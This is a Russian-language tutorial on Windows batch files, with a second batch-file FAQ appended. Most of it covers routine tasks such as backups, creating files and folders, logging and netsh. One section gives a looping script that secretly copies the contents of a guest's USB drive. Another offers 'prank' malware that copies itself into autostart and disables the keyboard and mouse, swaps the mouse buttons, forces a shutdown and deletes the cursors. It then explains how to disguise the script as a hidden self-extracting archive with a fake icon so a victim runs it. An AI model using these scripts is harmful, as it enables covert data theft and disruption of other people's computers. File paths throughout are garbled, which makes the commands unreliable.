  • Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
  • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
  • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
  • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
  • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строчки;
  • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
  • Комментарии в пакетный файл могут быть добавлены двумя способами:
    — либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий
goto begin ---------------------------------------- Это батник служит для резервного копирования дипломной работы ---------------------------------------- begin
  • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
  • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
  • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
  • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
  • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Приступим….

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off chcp 1251 xcopy "D:diplom*.*" "E:backupdiplom*.*"

Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off chcp 1251 del "E:backupdiplom_old" /s /q rmdir "E:backupdiplom_old" /s /q rename "E:backupdiplom" "diplom_old" xcopy "D:diplom*.*" "E:backupdiplom*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off chcp 1251 xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off chcp 1251 c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"

Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл

@echo off chcp 1251 MD "D:backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off chcp 1251 set datetemp=%date:~-10% MD "C:%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off chcp 1251 copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off chcp 1251 set datetemp=%date:~-10% copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off chcp 1251 cd C:WindowsTemp echo Y|del *.*

Строчкой cd «C:WindowsTemp» мы переходим в папку temp
Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

@echo off chcp 1251 dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt , содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off chcp 1251 dir /S "c:" >"X:file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;

Запуск файлов из командной строки

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off chcp 1251 "c:Документынапоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off chcp 1251 calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off :test if exist g: goto go goto test :go xcopy "G:*.*" "C:упс*.*"

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
:test обозначает начало действия батника
if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
goto test если диск G: не был найден, возвращаемся к началу части :test
:go обозначает начало действия второй части батника
xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде copy %0 означает копирование «самого себя».
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши ( пользоваться с осторожностью и в самых крайних случаях! )

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off chcp 1251 rundll32 keyboard, disable %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.js echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
    • создать sfx-архив.

    Упаковка батников в SFX-архив

    Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
    — Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
    — Создаём нужный нам пакетный файл (батник).
    — Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
    — Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
    — Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
    — На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
    — Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
    — В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

    call sled.bat

    Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
    Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

    start sled.bat

    Вместо заключения

    Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

    Будьте осторожны и удачных вам экспериментов

    Пакетные или batch файлы это обычные текстовые файлы, содержащие наборы команд интерпритатора и имеющие расширение bat или cmd (cmd работают только в ОС семейства NT). Редактировать такие файлы можно при помощи блокнота или любого другого текстового редактора.

    В этом FAQ собраны рекомендации, которые были протестированы на Windows 2000. Некоторые команды и переменные, использованные при написании примеров, отсутствуют в 9х.

    Как создать batch файл?

    Откройте блокнот и наберите две следующих строки:

    @echo This batch file
    @pause

    Выберите Файл — Сохранить как, выберите Тип файла — Все файлы, в поле Имя файла введите 1.bat и сохраните его в корне диска С, например. Теперь откройте диск С и запустите файл 1.bat. На экран будет выведено две строки.

    This batch file
    Нажмите любую клавишу для продолжения…

    После нажатия любой клавиши окно закроется, т.к. bat-файл выполнен.
    Обратите внимание, что символ собаки перед каждой командой в bat-файле указывает на то, что саму команду выводить на экран не надо, а нужно вывести только результат ее работы. Чтобы поэкспериментировать удалите символ собаки из начала каждой строки, сохраните и запустите полученный bat файл.

    Команды, используемые в bat файлах

    Список команд, которые можно использовать в bat файлах, можно просмотреть, введя в командной строке (Пуск — Выполнить — cmd для Windows семейтва NT или Пуск — Выполнить — command для линейки 9х) команду

    Результат работы help — список доступных команд с краткими пояснениями к ним. Чтобы получить более подробную информацию по интересующей команде введите в командной строке help имя_команды. Например, чтобы получить подробную справку по ключам команды AT выполните следующую команду:

    В результате, на экран будет выведен список ключей для запуска команды AT из bat файла.
    Если bat файл исполняется под управлением Windows (не в чистом DOS-е), то из него можно запускать любые приложения или открывать файлы. Например, нужно автоматически открыть лог-файл работы bat файла по завершении его работы. Для этого достаточно включить в bat файл последней строкой следующую команду:

    Результатом выполнения этой команды станет открытие файла имя_файла.txt, а сам bat файл завершит свою работу. Такой способ хорош, если лог-файл небольшого размера, иначе Блокнот откажется его открывать, предложив использовать WordPad. Но эта проблема так же решаема, что и будет показано в дальнейших примерах.

    Как автоматизировать запуск bat файлов

    Очень часто необходимо автоматизировать запуск bat файлов для выполнения ими рутинных операций. Для запуска bat файлов по расписанию наиболее подходит Планировщик, входящий в стандартную поставку Windows. С это помощью можно очень гибко настроить запуск пакетного файла в определенные дни или часы, с определенным интервалом. Можно создать несколько расписаний и т.д.

    Для локального запуска batch файлов можно пользоваться решениями от третьих фирм, благо платных и бесплатных альтернатив стандартному Планировщику великое множество.

    Batch файлы так же могут использоваться как логин-скрипты в доменах. При таком их использовании они будут исполняться при каждом входе пользователя в сеть не смотря на его желание. С их помощью можно автоматизировать сбор информации о машинах или о программном обеспечении, установленном на компьютерах пользователей, принудительно менять настройки Windows, устанавливать незаметно для пользователя программное обеспечение и автоматизировать решение других задач, ручное исполнение которых заняло бы очень много времени.

    Как создать файл с произвольным именем из bat файла

    Для создания файла в процессе выполнения пакетного файла используется символ перенаправления. Он выглядит так:
    >
    Т.е. чтобы создать файл нужно перенаправить поток с экрана в файл. Сделать это можно при помощи следующей команды:

    @echo Start file>C:1.txt

    После выполнения этой команды в корне диска С будет создан текстовый файл со строкой Start file.
    При создании файла в его имени можно использовать системные переменные или их части. Например, можно создать файл-отчет о работе bat файла с именем, равным дате запуска bat файла. Для этого можно использовать следующие строки в bat файле.

    set datetemp=%date:~-10%
    @echo .>%SYSTEMDRIVE%%DATETEMP%.txt

    Эти две строки работают следующим образом. Сначала в памяти создаем переменную datetemp, которой присваиваем 10 символов справа налево от системной переменной DATE. Таким образом, теперь во временной переменной datetemp содержится только текущая дата. Следующией строкой перенаправляем вывод символа точка в файл, имя которого берем из переменной datetemp, а расширение txt указываем явно. Файл будет создан на системном диске компьютера, где выполняется bat файл.

    При сборе администратором информации о компьютерах в сети будет удобнее добавить к имени файла имя компьютера. Это легко можно сделать при помощи следующей команды:

    Эта команда в ходе выполнения пакетного файла создаст на диске С текстовый файл с именем того компьютера, на котором выполняется пакетный файл.
    Для создания файла с определенным именем можно использовать любые системные переменные, либо создать свои, на основе системных переменных и/или других данных.

    Как создать папку из bat файла

    Для создания папки используется команда MKDIR или ее сокращенный аналог MD. Для создания папки из bat файла нужно использовать следующую команду:

    После выполнения такой команды будет создана папка FolderName в папке, откуда запущен bat файл. Чтобы создать файл в отличном от запуска bat файла месте, например в корне диска D, используйте явное указание расположения новой папки. Команда будет выглядеть так:

    При создании папок можно пользоваться системными переменными. Например, можно создать в корне диска D папку с именем текущего пользователя. Для этого понадобится переменная %USERNAME%, а команда будет выглядеть следующим образом:

    Можно еще более усложнить команду и создать папку с именем текущего пользователя на системном диске его компьютера. Команда для этого будет выглядеть так:

    При создании папок или файлов можно использовать любые системные переменные или их части. Следующий пример демонстрирует создание на системном диске компьютера пользователя папки с именем равным текущей дате.

    set datetemp=%date:~-10%
    MD %SYSTEMDRIVE%%datetemp%

    Эта конструкция работает следующим образом.
    Первая команда создает в памяти переменную datetemp, которая будет уничтожена по окончании работы bat файла. То тех пор, пока bat файл не закончил свою работу есть возможность оперировать со значением этой переменной. Переменной datetemp присваивается 10 символов справа налево от системной переменной DATE, т.е. от текущей даты. Переменная DATE имеет формат Дн ДД.ММ.ГГГГ. Первые символы слева — имя дня недели и поэтому мы их отбрасываем и присваиваем временной переменной datetemp только текущую дату.
    Этим не ограничивается список возможностей при создании папок. Вы можете опрерировать переменными так, как удобно Вам, создавая папки с уникальными, легко читаемыми названиями. Получить список всех переменных можно при помощи команды SET.

    Как перенаправить результат выполнения команд в файл

    Часто, при выполнении сложного bat файла в автоматическом режиме проверить результаты его работы бывает затруднительно по многим причинам. Поэтому проще записывать результаты работы команд batch файла в текстовый файл (лог-файл). а потом анализировать правильность работы bat файла по этому логу.
    Перенаправить результат работы команд bat файла в лог-файл достаточно просто. Далее будет показано, как это можно сделать.
    Создайте bat-файл следующего содержания (скопируйте эти строки в Блокнот и сохраните файл с расширением bat):

    @echo off
    echo Start %time%
    echo Create test.txt
    echo test>C:test.txt
    echo Copy Test.txt to Old_test.txt
    copy C:test.txt C:Old_test.txt
    echo Stop %time%

    Первая строка отключает вывод самих команд. Таким образом, в лог-файл будут записаны только результаты их выполнения.
    Вторая строка записывает в лог-файл время начала работы пакетного файла.
    Третья строка записывает в лог-файл пояснение того, что следующая команда создаст файл test.txt
    Команда из четвертой строки создает файл test.txt с корне диска С. Файл создается для примера. Эта команда записывает в файл C:test.txt слово test
    Пятая строка выводит в лог-файл пояснение, что следующая команда выполняет копирование файла из одного места в другое.
    Команда в шестой строке копирует созданный файл C:test.txt в файл C:Old_test.txt, т.е. создается копия файла под новым именем.
    Последняя, седьмая строка содержит команду вывода времени завершения работы пакетного файла. В сумме с записью в лог-файл времени начала работы пакетного файла эти два значения времени дают возможность оценить время работы пакетного файла.

    Сохраните этот пакетный файл под именем, например, 1.bat
    Предположим, что отчет о работе пакетного файла мы бы хотели хранить в отдельной папке и каждый день записывать отчет с новым именем файла, чтобы была возможность в любой из дней обратиться к логам за предыдущие дни. Причем, имя лог-фала хотелось бы иметь в виде даты работы пакетного файла. Чтобы все это реализовать создадим на диске С (например) папку с именем LOG, т.е. полный путь к ней будет выглядеть C:LOG. Созданный пакетный файл 1.bat будем запускать следующей командой:

    Если пакетный файл будет запускаться из Планировщика, то нужно указать полный путь с bat-файлу. Помните, что если в пути есть пробелы, то надо использовать либо кавычки, либо формат 8.3. Т.е., если путь к bat-файлу C:Program Files1.bat, например, то в командной строке Планировщика для запуска bat-файла нужно указать одну из следующих строк:

    «C:Program Files1.bat»>C:LOG%date:~-10%.txt
    C:Progra~11.bat>C:LOG%date:~-10%.txt

    После запуска файла 1.bat в папке C:LOG будет создан файл с именем, равным дате запуска bat-файла, например, 13.01.2004.txt Это и будет отчет о работе пакетного файла 1.bat
    Запуск bat-файла, пример которого показан в первом листинге вверху страницы, указанной выше командой, приведет к созданию лог-файла такого содержания:

    Start 19:03:27,20
    Create test.txt
    Copy Test.txt to Old_test.txt
    Скопировано файлов: 1.
    Stop 19:03:27,21

    Таким образом, для выполнения перенаправления результатов работы bat-файла в лог-файл нужно использовать символ перенаправления > Синтаксис таков:

    Расширение лог-файла может быть любым. При желании, отчет о выполнении пакетного задания можно оформить даже в виде страницы html (соответствующие теги могут быть выведены в лог-файл так, как выводились комментарии в примере 1.bat) и скопировать его на корпоративный сервер.

    Как автоматически ответить на запрос о подтверждении

    Некоторые команды при выполнении требуют подтверждения потенциально опасного действия. Например, такие команды как format или del предварительно запросят подтверждения на дальнейшее выполнение. Если одна из этих команд выполняется в пакетном файле, то запрос на подтверждение остановит выполнение пакетного файла и он будет ожидать от пользователя выбора одного из предложенных вариантов. Причем, если результат выполнение пакетного файла перенаправлен в лог-файл, то пользователь не увидит запроса на подтверждение и batch файл будет выглядеть зависшим.

    Для исправления таких неприятностей можно перенаправить нужный ответ в команду. Т.е. выполнить обратное действие для перенаправления вывода результатов работы команды в файл.
    Посмотрим на примере как выглядит запрос на подтверждение потенциально опасного действия. Создадим на диске С, например, папку Folder. Создадим в ней или скопируем в нее два любых файла. Далее, откроем командную строку и выполним следующую команду:

    Эта команда должна удалить все файлы из указанной папки. Но предварительно будет выдан запрос для подтверждения следующего содержания:

    C:Folder*, Продолжить [Y(да)/N(нет)]?

    Выполнение команды будет остановлено до тех пор, пока не будет нажата либо клавиша Y, либо клавиша N. При выполнении пакетного файла в автоматическом режиме, его исполнение остановится.
    Чтобы избежать этого используем перенаправление. Перенаправление осуществляется при помощи символа
    |
    Вертикальная черта говорит о том, что вместо вывода символа на экран его надо «отдать» следующей за символом команде. Проверим работу перенаправления. Выполните в командной строке следующую команду:

    echo Y|del C:Folder

    На экране будет показан запрос на подтверждение удаления всех файлов в папке Folder, но уже с положительным ответом (Y). Все файлы из папки Folder будут удалены.
    Будьте осторожны с этой командой.

    Как отключить вывод на экран команд при выполнении пакетного файла

    При выполнении пакетного файла на экран, помимо результатов работы команды, выводятся и сами команды. Чтобы отключить вывод команд, можно использовать символ @.
    Чтобы не выводить на экран одну команду, можно поставить знак @ в начале этой команды.

    Эта команда выведет на экран команду echo Testing, а на следующую строку — результат ее работы, слово Testing.

    Эта команда выведет на экран только результат работы команды, т.е. слово Testing. Сама команда выведена не будет.
    Если на протяжении выполнения всего файла выводить команды на экран не нужно, то проще первой строкой в пакетном файле написать следующую команду:

    Эта команда отключит вывод команд на экран на протяжении выполнения всего пакетного файла. Чтобы сама команда не выводилась, она начинается с символа @.

    Как из одного bat-файла запустить другой

    Иногда, при выполнении пакетного файла, возникает необходимость запустить другой пакетный файл. Причем, в некоторых случаях, выполнение основного пакетного файла должно быть приостановлено, пока выполняется вспомогательный файл, а в других вспомогательный файл должен работать параллельно с основным.
    Для примера создадим два bat файла. Один с именем 1.bat и содержащий всего одну команду

    Второй с именем 2.bat и также содержащий одну команду

    Теперь запустим файл 1.bat Откроется окно, в котором будет предложено нажать любую клавишу для продолжения, после нажатия которой окно закроется. Таким образом, вызов из одного пакетного файла другого при помощи команды call останавливает исполнение пакетного файла до тех пор, пока не завершится выполнение пакетного файла, вызванного командой call.

    В другом случае, надо запустить из bat файла либо приложение, либо другой пакетный файл, не прерывая выполнения основного пакетного файла. Такое нередко бывает нужно сделать, например, принудительно открыв лог работы пакетного файла, запланированного на ночь, чтобы с утра, пользователь мог проконтролировать правильность его выполнения. Для этого используется команда start Исправим в файле 1.bat строку на

    и запустим файл 1.bat Теперь открылось окно, в котором для продолжения надо нажать любую кнопку, а окно основного пакетного файла (1.bat) отработав закрылось.
    Таким образом, для вызова из одного пакетного файла другого, без остановки работы первого пакетного файла, нужно применять команду start.
    Рассмотренные команды start и call могут использоваться не только для запуска других пакетных файлов, но и для запуска любых приложений или открытия файлов.
    Например, команда start log.txt, находящаяся в теле пакетного файла, откроет файл log.txt в Notepad без остановки работы пакетного файла.

    Как отправить сообщение из bat-файла

    Когда пакетный файл исполняется на одной из машин в сети, то удобно проинформировать администратора об окончании его выполнения при помощи сообщения, отправленного на машину администратора. Сделать это можно, включив в пакетный файл команду

    net send name Message text

    Где name имя машины или пользователя, которому адресуется сообщение, а Message text — текст сообщения. После выполнения этой команды пользователю name будет отправлено сообщение.
    Обратите внимание на то, что при использовании в тексте сообщения кириллицы текст должен быть набран в кодировке MS-DOS (866 кодовая страница). Иначе сообщение придет в виде нечитаемых символов. Набрать текст в кодировке DOS можно при помощи любого текстового редактора, поддерживающего эту кодировку. Это может быть, например, FAR. Откройте в FAR пакетный файл на редактирование (F4) и нажмите кнопку F8. В верхней строке редактора должна быть указана кодировка DOS, а снизу, у подсказки о быстрых клавишах, у клавиши F8 должна быть надпись Win, говорящая о том, что текущая кодировка DOS и для переключения в кодировку Win надо нажать F8.

    Как автоматизировать удаление файлов по типу

    Чтобы очистить диск от временных файлов можно использовать команду

    Где
    /f — удаляет все файлы, даже если у них установлен атрибут только чтение
    /s — удаляет файлы из всех подкаталогов
    /q — отключает запрос на подтверждение удаления файла
    C: — диск, на котором будут найдены и удалены файлы. Можно указать не весь диск, а папку, например, C:WinNT
    *.tmp — тип файлов, которые будут удалены

    Будьте аккуратны с ключем /q и типами удаляемых файлов. Команда удаляет, не спрашивая разрешения и при указании неправильного типа файлов может удалить лишнего.

    Как изменить IP адрес компьютера из пакетного файла

    IP адрес можно изменить при помощи команды netsh.
    Чтобы правильно сменить IP адрес, сначала надо выяснить текущую конфигурацию. Сделать это можно в командной строке при помощи команды

    netsh interface ip show address

    Результат работы этой команды — отображение текущей конфигурации сетевого интерфейса. Нас интересует название интерфейса. Предположим, что он называется FASTNET.
    Предположим, что нужно сменить IP адрес на 192.168.1.42, адресация в сети статическая, без использования DHCP, шлюз 192.168.1.1, маска 255.255.255.0 В этом случае, команда, которая должна быть выполнена из пакетного файла будет выглядеть следующим образом:

    netsh interface ip set address name=»FASTNET» static 192.168.1.42 255.255.255.0 192.169.1.1 1

    После выполнения этой команды у интерфейса FASTNET IP адрес сменится на 192.168.1.42.
    Команда netsh предоставляет широкие возможности по управлению сетевыми настройками из командной строки. Для ознакомления с другими ее функциональными возможностями пользуйтесь справкой при помощи netsh /?

    Как узнать имя компьютера из bat файла

    Чтобы узнать имя компьютера при выполнении bat файла (чтобы использовать это значение в дальнейшем) используйте команду

    Эта команда возвращает имя компьютера, на котором она запущена.

    Как переименовать файлы по маске из пакетного файла

    Иногда возникает необходимость переименовать все файлы в папке по шаблону из пакетного файла. Сделать это можно при помощи следующей команды в bat-файле:

